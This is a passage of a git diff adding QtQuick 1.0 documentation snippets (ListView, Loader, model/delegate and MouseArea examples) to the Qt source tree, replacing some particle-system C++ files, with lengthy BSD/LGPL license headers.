+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/listview/listview-snippet.qml b/doc/src/snippets/qtquick1/listview/listview-snippet.qml
new file mode 100644
index 0000000000..f2a260d988
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listview/listview-snippet.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+ListView {
+ width: 50; height: 200
+ model: 4
+ delegate: Text {
+ text: index;
+ font.pixelSize: 40
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/listview/listview.qml b/doc/src/snippets/qtquick1/listview/listview.qml
new file mode 100644
index 0000000000..59dad4aa52
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listview/listview.qml
@@ -0,0 +1,149 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![import]
+import QtQuick 1.0
+//![import]
+
+Item {
+
+//![classdocs simple]
+ListView {
+ width: 180; height: 200
+
+ model: ContactModel {}
+ delegate: Text {
+ text: name + ": " + number
+ }
+}
+//![classdocs simple]
+
+//![classdocs advanced]
+Rectangle {
+ width: 180; height: 200
+
+ Component {
+ id: contactDelegate
+ Item {
+ width: 180; height: 40
+ Column {
+ Text { text: '<b>Name:</b> ' + name }
+ Text { text: '<b>Number:</b> ' + number }
+ }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: ContactModel {}
+ delegate: contactDelegate
+ highlight: Rectangle { color: "lightsteelblue"; radius: 5 }
+ focus: true
+ }
+}
+//![classdocs advanced]
+
+//![delayRemove]
+Component {
+ id: delegate
+ Item {
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false }
+ }
+ }
+}
+//![delayRemove]
+
+//![highlightFollowsCurrentItem]
+Component {
+ id: highlight
+ Rectangle {
+ width: 180; height: 40
+ color: "lightsteelblue"; radius: 5
+ y: list.currentItem.y
+ Behavior on y {
+ SpringAnimation {
+ spring: 3
+ damping: 0.2
+ }
+ }
+ }
+}
+
+ListView {
+ id: list
+ width: 180; height: 200
+ model: ContactModel {}
+ delegate: Text { text: name }
+
+ highlight: highlight
+ highlightFollowsCurrentItem: false
+ focus: true
+}
+//![highlightFollowsCurrentItem]
+
+//![isCurrentItem]
+ListView {
+ width: 180; height: 200
+
+ Component {
+ id: contactsDelegate
+ Rectangle {
+ id: wrapper
+ width: 180
+ height: contactInfo.height
+ color: ListView.isCurrentItem ? "black" : "red"
+ Text {
+ id: contactInfo
+ text: name + ": " + number
+ color: wrapper.ListView.isCurrentItem ? "red" : "black"
+ }
+ }
+ }
+
+ model: ContactModel {}
+ delegate: contactsDelegate
+ focus: true
+}
+//![isCurrentItem]
+
+}
diff --git a/doc/src/snippets/qtquick1/loader/KeyReader.qml b/doc/src/snippets/qtquick1/loader/KeyReader.qml
new file mode 100644
index 0000000000..b83a9d8e4c
--- /dev/null
+++ b/doc/src/snippets/qtquick1/loader/KeyReader.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ Item {
+ focus: true
+ Keys.onPressed: {
+ console.log("Loaded item captured:", event.text);
+ event.accepted = true;
+ }
+ }
+}
+//![0]
diff --git a/src/declarative/particles/qsgcustomemitter_p.h b/doc/src/snippets/qtquick1/loader/MyItem.qml
index 4d22490fb6..8e0ae1237a 100644
--- a/src/declarative/particles/qsgcustomemitter_p.h
+++ b/doc/src/snippets/qtquick1/loader/MyItem.qml
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the Declarative module of the Qt Toolkit.
+** This file is part of the documentation of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** GNU Lesser General Public License Usage
@@ -38,39 +38,18 @@
** $QT_END_LICENSE$
**
****************************************************************************/
+//![0]
+import QtQuick 1.0
-#ifndef QSGCUSTOMEMITTER_H
-#define QSGCUSTOMEMITTER_H
-#include "qsgparticleemitter_p.h"
-#include <private/qv8engine_p.h>
+Rectangle {
+ id: myItem
+ signal message(string msg)
-QT_BEGIN_HEADER
+ width: 100; height: 100
-QT_BEGIN_NAMESPACE
-
-QT_MODULE(Declarative)
-
-class QSGCustomEmitter : public QSGParticleEmitter
-{
- Q_OBJECT
-public:
- explicit QSGCustomEmitter(QSGItem* parent=0);
- virtual ~QSGCustomEmitter(){}
- virtual void emitWindow(int timeStamp);
- virtual void reset();
-Q_SIGNALS:
- void emitParticle(QDeclarativeV8Handle particle);
-private:
- int m_particle_count;
- bool m_reset_last;
- qreal m_last_timestamp;
- qreal m_last_emission;
-
- QPointF m_last_emitter;
- QPointF m_last_last_emitter;
- QPointF m_last_last_last_emitter;
-};
-
-QT_END_NAMESPACE
-QT_END_HEADER
-#endif // QSGCUSTOMEMITTER_H
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myItem.message("clicked!")
+ }
+}
+//![0]
diff --git a/src/declarative/particles/qsgcustomaffector.cpp b/doc/src/snippets/qtquick1/loader/connections.qml
index 9832399661..9a720c8099 100644
--- a/src/declarative/particles/qsgcustomaffector.cpp
+++ b/doc/src/snippets/qtquick1/loader/connections.qml
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the Declarative module of the Qt Toolkit.
+** This file is part of the documentation of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** GNU Lesser General Public License Usage
@@ -38,36 +38,20 @@
** $QT_END_LICENSE$
**
****************************************************************************/
+//![0]
+import QtQuick 1.0
-#include "qsgcustomaffector_p.h"
-QT_BEGIN_NAMESPACE
-/*!
- \qmlclass CustomAffector QSGCustomAffector
- \inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
- \inherits Affector
- \brief The Custom affector allows you to modify affected particles
+Item {
+ width: 100; height: 100
-*/
+ Loader {
+ id: myLoader
+ source: "MyItem.qml"
+ }
-//TODO: Document particle 'type'
-/*!
- \qmlsignal Timer::affecting(particle, dt)
-
- This handler is called when a particle is selected to be affected.
-
- dt is the time since the last time it was affected. Use dt to normalize
- trajectory manipulations to real time.
-*/
-QSGCustomAffector::QSGCustomAffector(QSGItem *parent) :
- QSGParticleAffector(parent)
-{
-}
-
-
-bool QSGCustomAffector::affectParticle(QSGParticleData *d, qreal dt)
-{
- emit affectParticle(d->v8Value(), dt);
- return true;//TODO: Work it out (best added alongside autoTimeScaling)
+ Connections {
+ target: myLoader.item
+ onMessage: console.log(msg)
+ }
}
-QT_END_NAMESPACE
+//![0]
diff --git a/src/declarative/particles/qsgcustomaffector_p.h b/doc/src/snippets/qtquick1/loader/focus.qml
index b4d0ca7417..c38875e7e7 100644
--- a/src/declarative/particles/qsgcustomaffector_p.h
+++ b/doc/src/snippets/qtquick1/loader/focus.qml
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the Declarative module of the Qt Toolkit.
+** This file is part of the documentation of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** GNU Lesser General Public License Usage
@@ -38,32 +38,25 @@
** $QT_END_LICENSE$
**
****************************************************************************/
+//![0]
+import QtQuick 1.0
-#ifndef CUSTOMAFFECTOR_H
-#define CUSTOMAFFECTOR_H
-#include "qsgparticleaffector_p.h"
+Rectangle {
+ width: 200; height: 200
-QT_BEGIN_HEADER
+ Loader {
+ id: loader
+ focus: true
+ }
-QT_BEGIN_NAMESPACE
+ MouseArea {
+ anchors.fill: parent
+ onClicked: loader.source = "KeyReader.qml"
+ }
-QT_MODULE(Declarative)
+ Keys.onPressed: {
+ console.log("Captured:", event.text);
+ }
+}
+//![0]
-
-class QSGCustomAffector : public QSGParticleAffector
-{
- Q_OBJECT
-public:
- explicit QSGCustomAffector(QSGItem *parent = 0);
-protected:
- virtual bool affectParticle(QSGParticleData *d, qreal dt);
-signals:
- void affectParticle(QDeclarativeV8Handle particle, qreal dt);
-
-public slots:
-
-};
-
-QT_END_NAMESPACE
-QT_END_HEADER
-#endif // CUSTOMAFFECTOR_H
diff --git a/doc/src/snippets/qtquick1/loader/simple.qml b/doc/src/snippets/qtquick1/loader/simple.qml
new file mode 100644
index 0000000000..e9b2101865
--- /dev/null
+++ b/doc/src/snippets/qtquick1/loader/simple.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 200
+
+ Loader { id: pageLoader }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: pageLoader.source = "Page1.qml"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/loader/sizeitem.qml b/doc/src/snippets/qtquick1/loader/sizeitem.qml
new file mode 100644
index 0000000000..af297fb1a1
--- /dev/null
+++ b/doc/src/snippets/qtquick1/loader/sizeitem.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 200
+
+ Loader {
+ // position the Loader in the center of the parent
+ anchors.centerIn: parent
+ sourceComponent: rect
+ }
+
+ Component {
+ id: rect
+ Rectangle {
+ width: 50
+ height: 50
+ color: "red"
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/loader/sizeloader.qml b/doc/src/snippets/qtquick1/loader/sizeloader.qml
new file mode 100644
index 0000000000..886d6c2ce3
--- /dev/null
+++ b/doc/src/snippets/qtquick1/loader/sizeloader.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 200
+
+ Loader {
+ // Explicitly set the size of the Loader to the parent item's size
+ anchors.fill: parent
+ sourceComponent: rect
+ }
+
+ Component {
+ id: rect
+ Rectangle {
+ width: 50
+ height: 50
+ color: "red"
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/models/views-models-delegates.qml b/doc/src/snippets/qtquick1/models/views-models-delegates.qml
new file mode 100644
index 0000000000..e02cb1a11f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/models/views-models-delegates.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [rectangle]
+Rectangle {
+ width: 200; height: 200
+
+ ListModel {
+ id: fruitModel
+ property string language: "en"
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+ }
+
+ Component {
+ id: fruitDelegate
+ Row {
+ Text { text: " Fruit: " + name; color: ListView.view.fruit_color }
+ Text { text: " Cost: $" + cost }
+ Text { text: " Language: " + ListView.view.model.language }
+ }
+ }
+
+ ListView {
+ property color fruit_color: "green"
+ model: fruitModel
+ delegate: fruitDelegate
+ anchors.fill: parent
+ }
+}
+//! [rectangle]
diff --git a/doc/src/snippets/qtquick1/models/visual-model-and-view.qml b/doc/src/snippets/qtquick1/models/visual-model-and-view.qml
new file mode 100644
index 0000000000..824d57230f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/models/visual-model-and-view.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+ //! [visual model and view]
+ VisualItemModel {
+ id: itemModel
+ Rectangle { height: 30; width: 80; color: "red" }
+ Rectangle { height: 30; width: 80; color: "green" }
+ Rectangle { height: 30; width: 80; color: "blue" }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: itemModel
+ }
+ //! [visual model and view]
+}
diff --git a/doc/src/snippets/qtquick1/mousearea/mousearea-snippet.qml b/doc/src/snippets/qtquick1/mousearea/mousearea-snippet.qml
new file mode 100644
index 0000000000..d93e2d894d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/mousearea/mousearea-snippet.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 500; height: 500
+ color: "green"
+
+ Column {
+ //! [anchor fill]
+ Rectangle {
+ id: button
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("button clicked")
+ }
+ MouseArea {
+ width:150; height: 75
+ onClicked: console.log("irregular area clicked")
+ }
+ }
+ //! [anchor fill]
+
+ Rectangle {
+ width: 100; height: 100
+
+ //! [enable handlers]
+ MouseArea {
+ hoverEnabled: true
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onEntered: console.log("mouse entered the area")
+ onExited: console.log("mouse left the area")
+ }
+ //! [enable handlers]
+ }
+
+ Rectangle {
+ width: 100; height: 100
+
+ //! [mouse handlers]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("area clicked")
+ onDoubleClicked: console.log("area double clicked")
+ onEntered: console.log("mouse entered the area")
+ onExited: console.log("mouse left the area")
+ }
+ //! [mouse handlers]
+ }
+
+ } //end of column
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/qtquick1/mousearea/mousearea.qml b/doc/src/snippets/qtquick1/mousearea/mousearea.qml
new file mode 100644
index 0000000000..18ea971541
--- /dev/null
+++ b/doc/src/snippets/qtquick1/mousearea/mousearea.qml
@@ -0,0 +1,117 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
